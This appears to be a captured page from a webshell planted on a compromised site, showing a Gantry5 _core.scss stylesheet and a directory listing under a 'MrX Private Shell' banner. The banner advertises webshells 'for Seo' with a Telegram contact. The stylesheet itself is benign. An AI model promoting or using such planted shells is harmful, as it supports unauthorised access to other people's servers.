__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
html {
width:100vw;
overflow-x:hidden;
box-sizing: border-box;
}
*, *::before, *::after {
box-sizing: inherit;
}
body {
margin: 0;
}
body.g-prime {
color: $white;
background-color: $body-bg;
font-family: $font-family-default;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
#g5-container { // wrapper
font-size: $core-font-size;
line-height: $core-line-height;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
font-family: $font-family-default;
position: relative;
.g-php-outdated {
line-height: 1em;
font-size: 0.9rem;
text-align: center;
padding: 8px 0;
margin: 0;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
a {
font-weight: bold;
text-decoration: underline;
}
}
a {
color: $core-accent;
}
.g-block {
position: relative;
@include breakpoint(mobile-only) {
flex: 0 100%;
}
}
.g-content {
margin: $content-margin;
padding: $content-padding;
}
.inner-container {
margin: 1.5rem;
box-shadow: 0 2px 10px rgba(0,0,0,0.2);
color: $core-text;
@include breakpoint(mobile-only) {
margin: 0;
}
}
// fast spin for fontawesome
.fa-spin-fast {
animation: fa-spin 1s infinite linear;
}
// save indicator
.changes-indicator {
opacity: 0;
animation: pulsate 1s ease-out infinite;
}
// collapse
.g-collapsed {
.g-collapse {
i {
transform: rotate(180deg);
backface-visibility: hidden;
}
}
&.card .inner-params, &:not(.card) {
overflow: hidden;
visibility: hidden;
height: 0;
}
}
// badges
.badge {
border-radius: 100px;
background-color: $light-gray;
color: darken($medium-gray, 25);
padding: 3px 6px;
text-shadow: none;
}
// cards
.cards-wrapper {
margin: -10px 0;
display: block;
width: 100%;
column-count: 2;
column-gap: 20px;
@include breakpoint(mobile-only) {
column-count: 1;
}
.card h4, .card input {
transform: translateZ(0);
}
}
.themes {
&.cards-wrapper {
column-count: initial;
column-gap: initial;
}
}
.card {
display: inline-block;
background: $white;
border-radius: 3px;
border: 1px solid $medium-gray;
padding: 10px;
min-width: 250px;
vertical-align: top;
margin: 10px 0;
backface-visibility: hidden;
//transform: translateZ(0); // FIXME : Causes z-index issue in selectize but fixes WebKit rendering issues with Columns
&.full-width {
margin: 0;
display: block;
}
h4 {
margin: 0;
> * {
vertical-align: middle;
}
&[data-g-collapse] {
.g-collapse {
@extend .font-small;
cursor: pointer;
display: inline-block;
border: 1px solid #ddd;
color: #bbb;
border-radius: 3px;
line-height: 1rem;
padding: 2px;
margin-right: 5px;
position: relative;
z-index: 5;
&:hover:before {
bottom: 1.65rem;
left: 0.25rem;
}
&:hover:after {
left: -0.5rem;
bottom: 2rem;
}
}
}
.enabler {
float: right;
}
}
.inner-params > :first-child:not(.alert) {
margin: $content-margin 0 0;
padding-top: $content-margin * 2;
border-top: 1px solid $light-gray;
}
.theme-id {
text-align: center;
margin-bottom: 10px;
font-weight: $font-weight-medium;
}
.theme-name {
text-align: center;
}
.theme-screenshot {
img {
margin: 0 auto 10px auto;
display: block;
}
a {
display: block;
}
}
}
.enabler {
@include enabler($green, $red);
}
.themes {
.card {
max-width: 300px;
}
.theme-info {
display: block;
text-align: center;
font-size: $core-font-size - 0.15;
}
}
.g-footer-actions {
padding: 1rem 0;
margin-top: 1rem;
border-top: 1px solid $medium-gray;
}
} // end wrapper
// Footer
.com_gantry5, .gantry5, .admin-block {
#footer {
background-color: #e7e7e7;
padding: 1em 0 3rem;
margin-bottom: 0;
color: #aaa;
text-align: center;
font-weight: $font-weight-medium;
border-top: 1px solid #dedede;
font-family: $font-family-default;
font-size: $core-font-size;
line-height: $core-line-height;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
.g-version, .g-version-date {
color: $update-header-bg;
}
a {
color: $core-accent !important;
text-decoration: none;
&:hover {
color: darken($core-accent, 20%) !important;
}
}
}
}
// Whoops Debug
.Whoops.container {
position: inherit;
@include clearfix;
}
// Keyframes
@keyframes pulsate {
0% {
transform: scale(0.1, 0.1);
opacity: 0;
}
50% {
opacity: 1;
}
100% {
transform: scale(1.2, 1.2);
opacity: 0;
}
}
// Tooltips
.g-tooltip {
display: inline;
position: relative;
&:before, &:after {
font-size: 1rem;
line-height: 1.5rem;
}
}
.g-tooltip:hover, .g-tooltip.g-tooltip-force {
color: $core-accent;
text-decoration: none;
}
.g-tooltip:hover:after, .g-tooltip.g-tooltip-force:after {
background: rgba(0,0,0,0.8);
border-radius: $core-border-radius;
bottom: 1.45rem;
color: $white;
content: attr(data-title);
display: block;
left: 0;
padding: .3rem 1rem;
position: absolute;
white-space: nowrap;
z-index: 99;
font-size: $core-font-size - 0.2;
}
.g-tooltip:hover:before, .g-tooltip.g-tooltip-force:before {
border: solid;
border-color: rgba(0,0,0,0.8) transparent;
border-width: .4rem .4rem 0 .4rem;
bottom: 1.1rem;
content: "";
display: block;
left: 1rem;
position: absolute;
z-index: 100;
}
.g-tooltip.g-tooltip-right:hover:after, .g-tooltip.g-tooltip-right.g-tooltip-force:after {
left: inherit;
right: 0;
}
.g-tooltip.g-tooltip-right:hover:before, .g-tooltip.g-tooltip-right.g-tooltip-force:before {
left: inherit;
right: 1rem;
}
.g-tooltip.g-tooltip-bottom:hover:after, .g-tooltip.g-tooltip-bottom.g-tooltip-force:after {
bottom: auto;
}
.g-tooltip.g-tooltip-bottom:hover:before, .g-tooltip.g-tooltip-bottom.g-tooltip-force:before {
border-width: 0 .4rem .4rem .4rem;
bottom: -0.1rem;
}
// Save tooltips
.button-save.g-tooltip:hover:after {
bottom: 3rem;
}
.button-save.g-tooltip:hover:before {
bottom: 2.6rem;
}
// Section actions tooltips
.section-actions .g-tooltip:hover:before {
right: 7px;
bottom: 1.5rem;
}
.section-actions .g-tooltip:hover:after {
bottom: 1.9rem;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| fields | Folder | 0775 |
|
|
| mixins | Folder | 0775 |
|
|
| modules | Folder | 0775 |
|
|
| _assignments.scss | File | 1.67 KB | 0664 |
|
| _buttons.scss | File | 794 B | 0664 |
|
| _changelog.scss | File | 2.25 KB | 0664 |
|
| _configurations.scss | File | 2.3 KB | 0664 |
|
| _core.scss | File | 7.76 KB | 0664 |
|
| _fields.scss | File | 1001 B | 0664 |
|
| _fonts.scss | File | 1.46 KB | 0664 |
|
| _headers.scss | File | 3.85 KB | 0664 |
|
| _input-groups.scss | File | 3.08 KB | 0664 |
|
| _layout-manager.scss | File | 28.3 KB | 0664 |
|
| _main.scss | File | 160 B | 0664 |
|
| _menu.scss | File | 12.24 KB | 0664 |
|
| _modal.scss | File | 4.26 KB | 0664 |
|
| _navbar.scss | File | 3.67 KB | 0664 |
|
| _overview.scss | File | 1.65 KB | 0664 |
|
| _page-settings.scss | File | 3.1 KB | 0664 |
|
| _popover.scss | File | 9.44 KB | 0664 |
|
| _positions.scss | File | 2.37 KB | 0664 |
|
| _rtl.scss | File | 1.11 KB | 0664 |
|
| _selectize.scss | File | 11.08 KB | 0664 |
|
| _settings.scss | File | 8.38 KB | 0664 |
|
| _styles.scss | File | 2.53 KB | 0664 |
|
| _toastr.scss | File | 2.7 KB | 0664 |
|
| _tooltips.scss | File | 4.73 KB | 0664 |
|
| _typography.scss | File | 1.54 KB | 0664 |
|